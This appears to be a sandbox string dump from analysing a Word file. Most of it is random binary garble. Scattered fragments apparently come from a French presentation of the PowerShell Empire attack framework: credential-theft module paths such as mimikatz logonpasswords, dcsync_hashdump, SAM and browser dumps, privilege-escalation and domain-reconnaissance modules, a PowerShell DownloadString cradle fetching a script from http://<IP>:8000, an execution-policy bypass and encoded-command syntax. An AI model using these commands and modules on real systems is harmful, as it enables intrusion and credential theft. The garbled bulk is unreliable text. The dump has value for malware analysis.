Ansi based on Dropped File (~WRD0001.tmp)

PcX`2mgJ>`?7`V{\O%S5i,>iyz~4@f9g%B857Eh7ev^@Bs,sCks.)t;>.U)<IPM6R,ujaIjOh<V*3B|+%8`=&$4-o^B\*GihuZY4jR

Ansi based on Dropped File (~WRD0001.tmp)

pC~+_Qs(0~="I'}J83G)g9ox|&(HI&?z_'tw?(

Ansi based on Dropped File (~WRD0001.tmp)

PD&.S4MrFySDT??AYR5LE[p57g^r+h7`,A&

Ansi based on Dropped File (~WRD0001.tmp)

pd(fj^|e>R%F!+vw^ D5[vd

Ansi based on Dropped File (~WRD0001.tmp)

PdO}q~Xu3zlW~jxi}q~Xu'gOl>?3kF1+8

Ansi based on Dropped File (~WRD0001.tmp)

PE<)4xSBnE

Ansi based on Dropped File (~WRD0001.tmp)

Persistance

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

persistence Persistance sur la victime

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

pfJQ[CGKA1MQMuu3I=UEokv0Rvy

Ansi based on Dropped File (~WRD0001.tmp)

pgGI7JDb6:|H"t+fPSJ}y%L~`DY;Bl9Jc0]iOE:V~2P)cq?k`OuoEGHiu<]W>+[Et{34."nOi&a Ia3a[[Tx=K&E%>R*lq{r.)]"=B>nOexa0W{BAL3jU'D]*m+t]*MyzPj1OC1c8E]{@<QF6!0noEjsJvGB[*

Ansi based on Dropped File (~WRD0001.tmp)

PgV8ps{nki6M2m|#kWCATSKDqD`'\Uf9EomLfNw4j%u7Ay0CIi*#]I+!@

Ansi based on Dropped File (~WRD0001.tmp)

Ph^dwj+&b%t

Ansi based on Dropped File (~WRD0001.tmp)

PhFujh@7SP+4FuPhE@@]Z

Ansi based on Dropped File (~WRD0001.tmp)

Phk=R0N9ixNcbG0OPhE@@]PrK4<4RgaJOi?_2~8Iv\_:Cmow:~o[qbC8L>{z[IC3MY}vvjRu!okzdt9;#zH~jr~7vR=Q}v8u5cK~2bD.`Y#nWv[5'~K]a&Kc=*{t>;[A,=d

Ansi based on Dropped File (~WRD0001.tmp)

pHy@ ISP4YYNJAgC&%<|%?~]whO?a>:;vOB:h@(AmEf

Ansi based on Dropped File (~WRD0001.tmp)

pia[4qaW_8g

Ansi based on Dropped File (~WRD0001.tmp)

PifC/:}Zo90a&Le

Ansi based on Dropped File (~WRD0001.tmp)

piIx~/8P>+DoC-XcF1S<}i

Ansi based on Dropped File (~WRD0001.tmp)

PIn6KtK)696|<6?6:3at6Da Y!'d`rMxr5lph8^9~9{=#~SA;]_Gq|l,lhHhW4{tW6FZ._`gaa>XEFR\?4]Od94vm c}x|97lJ-l:Ezn4|DM}CmM$1XM$8`]I&IUdYy4:7nmN6eRL#TS:Jkiy ybW2[kE,_|'8Uof>fs;*'d=<o7EHL4^EpiC7?3+"]a:Qdb,2^9ZKmc\h3L)xOHZxaJy;tE_nf[siF#rEs8"g=pgr}r

Ansi based on Dropped File (~WRD0001.tmp)

PK!^[Content_Types].xml (VK0#"_Q.P=#D\gzgR$R~Y|P&2}_}N?$0!7AHmB6An@YTkX?})FC%5&gz:)a](3\@2wtHmU)>DO9>"S:O#<rgiW`Fc(Q

Ansi based on Dropped File (~WRD0001.tmp)

pL;H^lhd\xnci&">_+6>a>;(*1!a9|b*TH]S)]I6<R%3Bd39*fiMrf

Ansi based on Dropped File (~WRD0001.tmp)

Pn(]>P;#/71v@.c>RC:1v@.c>""T;sqm{!7_.>Zj1

Ansi based on Dropped File (~WRD0001.tmp)

pn5lWw"%

Ansi based on Dropped File (~WRD0001.tmp)

PNb|\{} XNWar&`{?&QU"Q7dgfw_ZrcTkFo),m0CL/X6y2\ZFzB!A[=cWD{*6GU<mAo+g=o*bPG-4-?&d|/,

Ansi based on Dropped File (~WRD0001.tmp)

poetry add xlsxwriter

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

poetry install

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

poetry run ./empire_exceller.py

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

poetry run empire-api

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

poetry run empire-api --help

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

poetry run empire-api -c login

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

poetry run empire-api -c show_modules

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

poetry run empire-api -r

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

poKoeDE#/WyYNI%eo)B=-YOps7{1iku\%uMxH!?*zNwCT+Ybrrf6^-\G#OKp}!* @wvgK+ZEO9-F5FwMhUrrrH#v+4U:,f+iC

Ansi based on Dropped File (~WRD0001.tmp)

Pour cela, on ajoute la variable self.options le champ ci-dessus, en dernire position:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Pour chaque standalone, on gnre un fichier CSV la fois pour dcrire le standalone, ainsi qu un second CSV contenant les paramtres de la/les fonctions gnres avec leurs attributs (description, paramtre requis?, & ).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Pour Empire: powershell/privesc/ask

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Pour l agent: privesc/ask

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell enc <BASE64>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell-empire

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell.exe (New-Object Net.WebClient).DownloadString( http://<IP>:8000/<PE.ps1> )

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell.exe -ExecutionPolicy Bypass

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell.exe <PE.ps1>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/collection/ChromeDump

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/collection/FoxDump

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/credentials/mimikatz/dcsync_hashdump*

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/credentials/mimikatz/logonpasswords*

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/credentials/mimikatz/lsadump*

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/credentials/mimikatz/sam*

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/situational_awareness/host/computerdetails*

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/situational_awareness/network/powerview/

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/situational_awareness/network/powerview/get_domain_controller

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/situational_awareness/network/powerview/get_forest_domain

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/situational_awareness/network/powerview/get_gpo

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/situational_awareness/network/powerview/get_site

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/situational_awareness/network/powerview/get_subnet

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

powershell/situational_awareness/network/powerview/get_user

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

PPPPPPPPPP)N`rB|TL|3

Ansi based on Dropped File (~WRD0001.tmp)

PPW&q2l4oT='Uigi'~KNw|]}TO|ed'5*6w3v)f4F{Q*Ei{k2q/iJn~,zR]'Y

Ansi based on Dropped File (~WRD0001.tmp)

Pq=lWOz<-z;

Ansi based on Dropped File (~WRD0001.tmp)

PQp!kRxkvJ%RU}Y)R

Ansi based on Dropped File (~WRD0001.tmp)

PQuV"(|#DCQF:~WdWQpERQU]ew=1TZkX=)kVtgz{j.

Ansi based on Dropped File (~WRD0001.tmp)

privesc Elvation de privilges

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

ProductFiles

Unicode based on Runtime Data (WINWORD.EXE )

ProxyBypass

Unicode based on Runtime Data (WINWORD.EXE )

Prsentation de Powershell Empire et de ses modules

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

PSAyE6)=cd`pa32*;Viw:HcsiVX:{=7,*M#}c*7G|RKwL0*j(i-+42t?*iF%Y\e^GmdgNRY|C"dO%=*oA m+=2>=~nA[C<.;f1*_s_^XLwNV3u)lw{z+~)C=:A2QAAAAAAAA/o/L$$5Ivv]#[!I]~en mq%AINHA m%WQ*((((((((eL].<lW`8KN=|? 0kyp

Ansi based on Dropped File (~WRD0001.tmp)

pt/EX&fCGf^.X7|Dl6P5~4P`l-]s2_wuy""m!"(sfI

Ansi based on Dropped File (~WRD0001.tmp)

pT[HmoD+;of#7;e(!rdu,I&_tO[}M+gB?Ks1|X*}*{tzo#g`0qrcFx'& ll>?|"9 aA2VuB[RUh?1Ev2 #oLPA.r}7`?97EFSI)6!wE8;98,ejS[fHcjU@bM1'O|'F)(

Ansi based on Dropped File (~WRD0001.tmp)

pu^A<NP}B\hAs$W~nNkAsPNIrg-9:9e|:4:<HwniZn'ai|o#cnu:Dj;;GSy,um,qXZuy`w !%^vzA*#>FD_cm0COC'2]]v

Ansi based on Dropped File (~WRD0001.tmp)

PuUYsq$Wr7Ov ~+>X<qVk

Ansi based on Dropped File (~WRD0001.tmp)

pVyfl}|n~T1M;.hgxF}XbE@[lzP[RHS

Ansi based on Dropped File (~WRD0001.tmp)

pw(>-mI|Q?aSn?H|W|'JRHY`g?_t:N05EO.%L)G9{"9s|Dm)a*v,)`%-yJspthW3=7[wr$"ud9Fezg{/3DY;N3"#-Qnl)>r h8"ef(zg~t51)-J6D~n'>sev)8DnHn-qE"b'O/917INu]sLGs?1h8J$YW0Dm9@3&rt"aJJu@TFvh.%g8/w6Fl7nS4i>FH'vH!j*2DB?oV#'At^!r|z.`"RlNtcu8kp %y|ch_>Ji+"gj7D'1k*:H^R,-;-47({=W{`g

Ansi based on Dropped File (~WRD0001.tmp)

pY"#w9_@w.a|N%3bYVCV\w^kV7n<lKt2Tu)nw?OJl@W~Cf]w{/RZt+ao~J~Jq~W?K9{"rj..9+!WQ*"14{ZFCx

Ansi based on Dropped File (~WRD0001.tmp)

python2 -m SimpleHTTPServer 8000

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

python3 -m http.server 8000

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

pz@OaBEx"Oj

Ansi based on Dropped File (~WRD0001.tmp)

P|EU~hw\ZVe,@2P6;o{

Ansi based on Dropped File (~WRD0001.tmp)

p}o}oWyaG8B7~?~

Ansi based on Dropped File (~WRD0001.tmp)

P}|4zJ$1v}z0c 3z$4<1f^5>9

Ansi based on Dropped File (~WRD0001.tmp)

P~C+9:Te^LOD4

Ansi based on Dropped File (~WRD0001.tmp)

Q 4/1_A-D^J0pg_e|a3Ku:\zv}D=jc<N`

Ansi based on Dropped File (~WRD0001.tmp)

q#W+bWWru[>lNtoj_:$(+.3-st]9)KNl<'L.s533:sYn,

Ansi based on Dropped File (~WRD0001.tmp)

q%<DaU Hx?P2bn%b1<?1hcf3+0x|4q~l@aSKy)klg$w&o\W_vIp![ykk%K%NSUk+&^p%5NW,W.9'^rNp^K86B9/fKxpI-I,6AW7kp9%^N.[m<lD_Yosf%45xq:[|]Cg 8]S}FKLZUg3k25D$-tl[f

Ansi based on Dropped File (~WRD0001.tmp)

Q&/noC=unrE5@PM

Ansi based on Dropped File (~WRD0001.tmp)

q&@ep-<W

Ansi based on Dropped File (~WRD0001.tmp)

q&`_u1ymn8A

Ansi based on Dropped File (~WRD0001.tmp)

q'mvK? x-Z>wZL;4+edM.}jK]A{NVM5t-{G

Ansi based on Dropped File (~WRD0001.tmp)

Q'S)}OF|E9)*(e~cw|c]"mH&w_t?$Z#Mwu8~zNQJNx)"LisehVCNL2u?qCmh6^s7h`xh}R

Ansi based on Dropped File (~WRD0001.tmp)

q(_2Iva]RW*jdwK'8L.O.3}]\:0Tf(}iT][*)`v7U\tp;U(

Ansi based on Dropped File (~WRD0001.tmp)

q(_5sMuA|RfS"6,Ic3{n{xvdgJLz2nUa2h5Y)L=t-#bO"2V=b+W 2d0%^lF5j|{m1i9(UU2h5Y)Ln!5fUO2lekxmc)c=`OZRUKTZ%EF.{YXvmh.>D%hFG[\]J|v$$Aa."nB]'B )WX\_GF^2x[%jQ 5-yN=u34GM*5oc8>p!)eBYCP3K*xN}

Ansi based on Dropped File (~WRD0001.tmp)

Q)Ean^ryq/?>k^3 Ph\8)^wc\)@i`4)xt~<),{gU'mb:~o|b"-u<0(yVFn`\z%S*ly

Ansi based on Dropped File (~WRD0001.tmp)

q*z=f'U]Zx?R|{3vY.*HuiF*FOLvRS3s~]kB~9u'uNm;Z{5h'C-<rm$`Y>ug-(mcM0ZGmkE<@

Ansi based on Dropped File (~WRD0001.tmp)

Q+:opd:L_qx1GhSc~J

Ansi based on Dropped File (~WRD0001.tmp)

Q+yVA%`Bv63%xEb,N:=$GEOwg?RRT<>H/bts)!5"-G"r%?\@Td#Qo)!*]`3}Rh9eV,d'J4z3fpevFg%=ff#sj?9gJIgb17HyC+~g"<qB t/3K$Ax`m}K<F2@!V0,x<t`0(HV!&+J|Rg_\gE0J|)"N(y-_f_G'`-PW]IN'N@2qai/$*B8dYl"9r[o< 9mf/QJ)]4Zs$F/3p'v">WOoQW}'v$B)yUnhq7

Ansi based on Dropped File (~WRD0001.tmp)

q/%K4o0a6>zpP^4C@J"hGs}0(f&):3ChbRk:&8*y4F_nYhqDbg|@$[MbGZ!^50C\JFG,@bWj-Wg%s48;P$iSr-`hi[7p%Ui.Ow5

Ansi based on Dropped File (~WRD0001.tmp)

q/<Z>xqV;[0rge>L%z'[~i-}'A72j*Dik2?>r,b~v]/H{,ix<KbKX)lkhinTHO]@f}pp5V~hJ,@w2?Myu(0B|ZT]B_=412-peP!>^hz(ldfgS\]tGK:?XO|L>g4(Te-C,xdv"G'D??<E;x[f/:uP`,2o]V!*\zhY>8*

Ansi based on Dropped File (~WRD0001.tmp)

q0%i,gAg[jCEz^1(M ||uLGmCx|7474gc^_J:,4d,F}`ikhF<2.Ee$

Ansi based on Dropped File (~WRD0001.tmp)

Q08(1#Z-$bm@O%ZW%@48>XS*~b0|emdT0,X^2eMpx{nEDj25(4pY"]yjEH0TZ!}lOLgRi,fWmZi5^=x(!mm4e^-C"sR,Ok|Rk[

Ansi based on Dropped File (~WRD0001.tmp)

Q17M"'sPv;.x ELY)kH|8tS;-ay(BDo-c",ir{6Xb&fE;J(|.\4pUe$4I?AI&y` >Ueplr8QmL@[H*s5:YSpay

Ansi based on Dropped File (~WRD0001.tmp)

Q1jFFIF,6J3NPlRxj]p-}3in&afO+Xi -Z#

Ansi based on Dropped File (~WRD0001.tmp)

q23)RUG$E|MX

Ansi based on Dropped File (~WRD0001.tmp)

Q3H[-wGc*y0[qc>#Ei$6E_1nxiz1~6ZX\kb|pzR=k+Ea8Q+E]n>16'V\q6gc@1@P~&|oFRO%o(qQ[}1`*bc16z*0v~C

Ansi based on Dropped File (~WRD0001.tmp)

Q3Th~];SZsJ *ufPhy^5#i\7Wd=<8;>47@u|F7!VN7Y&Oq~"|KWVhye(G*NB+y{3ZZWo$_tuZJQy7yO/U!"[[ySh|*

Ansi based on Dropped File (~WRD0001.tmp)

Q4:FI;8}r=Jr?khFqW*f`Hf#63%L;H2^,f$gqiFJz~r?#Lu?if*%9)4a&L&A$giTJB`Q[X;9DK>aI-=[>'%1;Q*Cb:EWGK)ltu

Ansi based on Dropped File (~WRD0001.tmp)

q4{AB!tqIn}BY2/zsp3r5CO@NQqvwfc6" n9_IS&.k8fy)6e?r-bk?^LF.r\rzh|j'

Ansi based on Dropped File (~WRD0001.tmp)

Q6^<X!>vg1jI{pX?`|z5"A6+%mcI]<{:{Zsuc8o6|+kkqK<u~(15*zj1/?%z^R$r\Ksp,Yy/CEFHd

Ansi based on Dropped File (~WRD0001.tmp)

Q6KS"xV_lS1R5l~.[]MWomMJW&1zij893M]u~WEE/^<xavzn)..{o]!/qNR}MIQqqQF

Ansi based on Dropped File (~WRD0001.tmp)

Q6O[,~<EKQ?FRw;+{h;a`FkTy9+

Ansi based on Dropped File (~WRD0001.tmp)

Q6~V3^)dpn\DM9)rKB?zla*#i=89%Ax,JLOC4Que Aw+d@BS%p(v:qE@ v%/;xjccp\:;,'2iD.]?C8F )knK\/15

Ansi based on Dropped File (~WRD0001.tmp)

Q88(pp/`p|<8<E88@p

Ansi based on Dropped File (~WRD0001.tmp)

q9;9}M<O,~?{3.O9&I|0AU9te7o\&|bVdzcraO:_<s<$9WjS48fr![

Ansi based on Dropped File (~WRD0001.tmp)

Q9f(aJO27e:3$?gFQM[4VQo:+MFS-DDC`4wWNT>DbnwH

Ansi based on Dropped File (~WRD0001.tmp)

q:}\M26P|+!F\;*R$a2jSu<"G}#HbP\L'Ya4LEal{

Ansi based on Dropped File (~WRD0001.tmp)

Q;Fca]JGut:E"#gqs>]!=L)HD>GI;D5V3*XL9w]Q C_rTx<CX@I+}

Ansi based on Dropped File (~WRD0001.tmp)

q;~3nnRLa-%|]cyo' L6`xvh-5|bfUi%m$Y%-M$vfJn*A2R B(/]9LU/c}IGB,3ADo43%`f&Nt)\DLg^jL4

Ansi based on Dropped File (~WRD0001.tmp)

Q=32{?oL'X~

Ansi based on Dropped File (~WRD0001.tmp)

Q=y/^eo`~'f00;2I9ZK?To5V\kWr} ;_3/+XcI\Kl+R+F2U_)5KM\+Ia|LMb5

Ansi based on Dropped File (~WRD0001.tmp)

q[%SPJXZ])Y'cWXoB8o[cv\'nz:]'q|e;6_

Ansi based on Dropped File (~WRD0001.tmp)

q[pme{e~rwcn~:M

Ansi based on Dropped File (~WRD0001.tmp)

q[~[LQ3<C<}nLQ%

Ansi based on Dropped File (~WRD0001.tmp)

Q]kR84l$mOD8NI(FZ=%7(K+E<K%KC^"N"{rj4SwHJ:Ibta~nRcFVWNAp4T$r=*ZD&&RXsrbnMiMp!aK%/1TAa6;YSb%R@%u(='lYjQfSC[!q

Ansi based on Dropped File (~WRD0001.tmp)

Q]NQsgWV4P

Ansi based on Dropped File (~WRD0001.tmp)

Q^VOc{&>#S=p)No4JYq]!Nrck#~nFx|a%q/*UHhT5H&jpyNAIDpxgxIBJD4'bb)b)b?p[>BL<#qM&mgpcR7op=A8N~/&#-N",BPDcH+1kuo(IK{.fYq37?);/DI7b)b)b?l[BHN8o4)* ,;

Ansi based on Dropped File (~WRD0001.tmp)

q_$38GR;"L%[7&a|Gq5HY(^{hw<IxM1/xF(f,ypf_PCye05gV1!SE[Kc8lIJ#3nyy:\nw7D&q<;_<."yjR#']SZQ:MI]5vYkI

Ansi based on Dropped File (~WRD0001.tmp)

Q_;Yr),#QD}JmGs+

Ansi based on Dropped File (~WRD0001.tmp)

q_x'W]%jzg~Z_{fty16t~z%LoyGux\fcc>{vmLZ>n=)qMsjXIk?ok/C\[BPfzqyo7yos"epZe|fGl]}Qn#e\vn\3VZ?'K

Ansi based on Dropped File (~WRD0001.tmp)

q`jU6F{[':HdeQoky81~xmloB{;TO\d*9:yE2O-=qCgn66]mkF2b;P23#yg`Y*k,X |e+F5"X4L3O]2~_/ute5coB+;h`}`;3Yf0'.lZ=4cul#$a-p7}O*StsM?1h5.4VZa5]\"vVtlYxUes8)y4w::2

Ansi based on Dropped File (~WRD0001.tmp)

Qaf"c$j[3L0[V8J>u|"T!qxN*yd19[:Z2QB|K;AMdO=UM[Py7{C*uI6nt<<r1vy~^ci%Kg9dEZvYD6=&5DbC(l+dy6*]BKba.B>I:W%#hO"ONB8;WbCYG%FL2{OKP#UMq

Ansi based on Dropped File (~WRD0001.tmp)

QAfzgDT+sUN

Ansi based on Dropped File (~WRD0001.tmp)

qb1[7kf~sKxbOc:Vh}=P-Qhi?l]DG_GvTB(M=U_yY%L;.hgxF}XFdhL/1oql3QyR'1M,>b6#>Kc^r}$_BrDPAsqES

Ansi based on Dropped File (~WRD0001.tmp)

qB]'r 0V-1mhb.&.3yv5lR/]%J 0V,1mhb.wqnWvz}/.~B]%J 0++uKl=6.L'`1

Ansi based on Dropped File (~WRD0001.tmp)

qBAEEfye<QOI:#'5Gu

Ansi based on Dropped File (~WRD0001.tmp)

qBB}%b9)B.Rb=OB HPnXLAEkqGCbee~1`)Zx.t7@gmw6XAQ}0hef!qo/S13 t)X^^4l-n|{,)zd7Bbd;|?!Or3K:TA!&>S=Vg.#%cY

Ansi based on Dropped File (~WRD0001.tmp)

qbl4?cY/~9::^g><Z_*d3KpNF$U$SGn-_:

Ansi based on Dropped File (~WRD0001.tmp)

QbUu?}l$A1+pnkH~N61Ukq&PqBm]0VPd

Ansi based on Dropped File (~WRD0001.tmp)

QCgGY:"ODg`[rT[a4nqV5\B<MM}[^|NcrGEN/Px;d.pr} jyrv/'/"4

Ansi based on Dropped File (~WRD0001.tmp)

qcKou5?==F?zotx3H/G/^O>c1G/Z?smnP(El{vhytl7R6;,zDL9{^KkIO>xmk'o!:o$_Ud6U_C__fn.Jkk=;|CwG^!Zg!SZWom|Ko}%[y?==F/|70~G-#}~?="z{[RQ+5?o.5}kWWPAm&`zZbi|LtsKw|PqkM`|P21mJ<!/8_r>FthQZ7kK?c_=zWG-1T#MX_HF*wtTf~=b}{#?~[on_kG6>?{V|s#?r

Ansi based on Dropped File (~WRD0001.tmp)

QCO0Q_%brNk),/8-lEZIpkG`

Ansi based on Dropped File (~WRD0001.tmp)

qcq|N9_sPw_)CeYZ

Ansi based on Dropped File (~WRD0001.tmp)

qCRz`nP}W(9O:51\/d. )@bMKn#K`OVsc'?L!T^oW~[_~ZEtn0?}"rwYZL'mvhX`p1,>ntQ}

Ansi based on Dropped File (~WRD0001.tmp)

QD^Q&qfGO2sFhR

Ansi based on Dropped File (~WRD0001.tmp)

qgdTAuO6:

Ansi based on Dropped File (~WRD0001.tmp)

QGE9l!y8H-QFa,4=n|^D#p7vX&C%uuuFjtfJzu16VccA,gd[UZNkaoKL!7,r8YPZ=}Tv h9:Z h9:Z h9:Z h9:Z h9:ZN>~o~g9Rfd7Qe\u+J W<~@udim]3$rH3.*WM+@G]!rVy]}\Q{{.Xk*Gy5W5bSb

Ansi based on Dropped File (~WRD0001.tmp)

qgg??+>q;|-&}Od}'<xOm8*t\

Ansi based on Dropped File (~WRD0001.tmp)

qGOj\hR=;

Ansi based on Dropped File (~WRD0001.tmp)

QIEM O%]ih&dNdGw_$,A.%EE!udq$g9RQE.le#^G"rD-'wg.J(3?(F!BDT=xBt4F[p/|)*!+xha`y<EMMl#iTE*"Ff)n<bf!&*v(c

Ansi based on Dropped File (~WRD0001.tmp)

QjijF?FldE_k+)_+UP=@B8)(zO:eTu'lKenUKG~7D&FrJN_x^&Z>D.#:dPwg,!X=gVAQy6!4k}IR}"e?us~&TU'[>o#T>4rX?DyU''V\

Ansi based on Dropped File (~WRD0001.tmp)

qJx-K5VSQk&B]OffBkQo*nII'm

Ansi based on Dropped File (~WRD0001.tmp)

qlt;~:EITI?=6N^mN\ycCELHJ:mpMm.Q%$3xsRd%H*2*IDR 9-=r|W-g>Cl t3.E{blSrW>'rV"3[k`d<x'#[;yKO*>3@]|%n(ns*t#tOdN

Ansi based on Dropped File (~WRD0001.tmp)

qm0u=cI?agT?

Ansi based on Dropped File (~WRD0001.tmp)

QMAo.D]OB!]f3UA4!)_y#suxmo*to[-MTWZZFC39&ncOD)/n D=YlKk|S0|K<H1>247I

Ansi based on Dropped File (~WRD0001.tmp)

Qn$A7HONm\:L7?*a,9V.<nzJ1rr^\Y".)5~<1Bu:!JX\

Ansi based on Dropped File (~WRD0001.tmp)

qO'?|owWUG/\z-`!bj!*gNY@4Xc:4tc[xu9__TW/r7%bOhX!mCgL`S`.^5V.#z5&t7Q\/BRZG 6>2hp;4Jfm 0v9|_/334ry'jkGZxL&0`:~3O'=nqeFy%\3_[IG,|F@rf=N)Bce)~s/`%Nr?s.BgmAY/I,_:uME?KII`yBr

Ansi based on Dropped File (~WRD0001.tmp)

QOs5/TGa$

Ansi based on Dropped File (~WRD0001.tmp)

qp~?>VGXQ=y](!$NB(s

Ansi based on Dropped File (~WRD0001.tmp)

Qr7M@G]p%p'8ODLuIl2d&038K <%X[a68G`XGWt2

Ansi based on Dropped File (~WRD0001.tmp)

qRWQAJj-y=/g%r{t={,R

Ansi based on Dropped File (~WRD0001.tmp)

QscYe_8] kO~Iu+CK}NX_a1+cfLoC*)pkEyu]XQ|>8T>("g('H+}e%9tUoE?el.ax

Ansi based on Dropped File (~WRD0001.tmp)

qt:ul[@4Hue:XpS?AHerLEZ0~s2'NT

Ansi based on Dropped File (~WRD0001.tmp)

Qt=g}(Y-=Z<!b^~&{dSR(%OD}L]NzzI_fv='1"_{'p]d}lu\'o>d`^Q#u?/m3qNtJn xIkV^G%h8

Ansi based on Dropped File (~WRD0001.tmp)

QtFH"qxT<3}8uz,

Ansi based on Dropped File (~WRD0001.tmp)

qtmg(Outoy">"~F:u#`Bc]"oZub4^(-%0~?r"+uB3SFDzHvC,\ir%C;u'~EIgul/sl+

Ansi based on Dropped File (~WRD0001.tmp)

QU?Dxm%g9aZ.@_qJfPhqDo4ZqhW/G5=8C1l0khnDGh({vIHBa<s-kEzew'vEqj2q tE+kehgp;~[r]+zf.<3+TMxicc7hVvbr3\n;~3e$_Qed\p!3Zxv|qkqQBzITh\v5: IMi?yo$MUhqdl(/CM9!?/ho|djK6ZP?f`CDL}#8fJjq9]`x}Zu%>;

Ansi based on Dropped File (~WRD0001.tmp)

QUhBr^p)%P/oh3!=]_7WI1W~?ML#,7ws~`kimkg'6:-QWH@OU))4i2!PjJCc^P@y

Ansi based on Dropped File (~WRD0001.tmp)

Qulhr4Q\W)p

Ansi based on Dropped File (~WRD0001.tmp)

QVo_n{HS6uiH>fX1`p_n{}CZ!B<Q{FFny0qlmkgl5_i],tW+l~%0|xF$3/,1jP,l7dE)z~/an%c&Ygfg{{kz`+(&1l>v1]3Hqf<iSg'8/^h#?FNX^qf54q\b:m_^>a|[n=i_os_OMlM?Q]S]e'Wnaw<(X61#+.;Z+Ons*>v/^w

Ansi based on Dropped File (~WRD0001.tmp)

qw:Gb]sDT8x

Ansi based on Dropped File (~WRD0001.tmp)

qwC"ZKxPq7GNL

Ansi based on Dropped File (~WRD0001.tmp)

qx$/hFyG&

Ansi based on Dropped File (~WRD0001.tmp)

qx*_l!#My;H-FF}^&5/;6LO6WKgCoD1eQ)OH><2v)aJ\&;*|Jplm5.5f=!266eLz3\I|`/'B8 oVq]G5Q2]lAMt`7TX[ZFR4u'c[ftEeAnXDPBxK^%)2 p;LIRR0{PH.06q{Gy?o-i!/l4Niz9vg9Q*sH\Gu;u%RO.$~U,U2i|g8H3laphC^RQ#gCmB3d2_it%E$

Ansi based on Dropped File (~WRD0001.tmp)

Qy)kZ!{;?om(QVu~jL>~^,Seu-vR^kCro5L-

Ansi based on Dropped File (~WRD0001.tmp)

qy-i3+rB/#:*@r7&}<tWN6wgI)c.3Jzz*LVe+9qMYMqYe/M\;H%Cf[jROs7U_eru.

Ansi based on Dropped File (~WRD0001.tmp)

qZ*Tioofw[f[zD,|)>/d-c*_xJ%$<ZCS,}<nLIU~P4~;`g;?2$fPWV<mT!A%Fz

Ansi based on Dropped File (~WRD0001.tmp)

qz5QUbX3r:Wgl,JuA'0KvQ.f}-j

Ansi based on Dropped File (~WRD0001.tmp)

qz?aK3"v

Ansi based on Dropped File (~WRD0001.tmp)

qz[I/D(7H%

Ansi based on Dropped File (~WRD0001.tmp)

QzcDz+Jn#WN$

Ansi based on Dropped File (~WRD0001.tmp)

QZUQx]Dq">Iy|P|XdHydlHm/E@H<d~7^bYij-\Faee/"";U+

Ansi based on Dropped File (~WRD0001.tmp)

q|#Z=.+oWxauQsxNn:E>9S,dv

Ansi based on Dropped File (~WRD0001.tmp)

q|]"GpEgSShZ3T$q~gr>+m{Y|l16X#

Ansi based on Dropped File (~WRD0001.tmp)

q}$?#PVhf_@7dP@g

Ansi based on Dropped File (~WRD0001.tmp)

Q}*ai@^|VdrfWUv{V62uhE0*rY}bAwerEu"Qe&\(e>JDkCm'u%My.WIt&2j09{v>q3ZiH|,'p\qBBnt02MGz

Ansi based on Dropped File (~WRD0001.tmp)

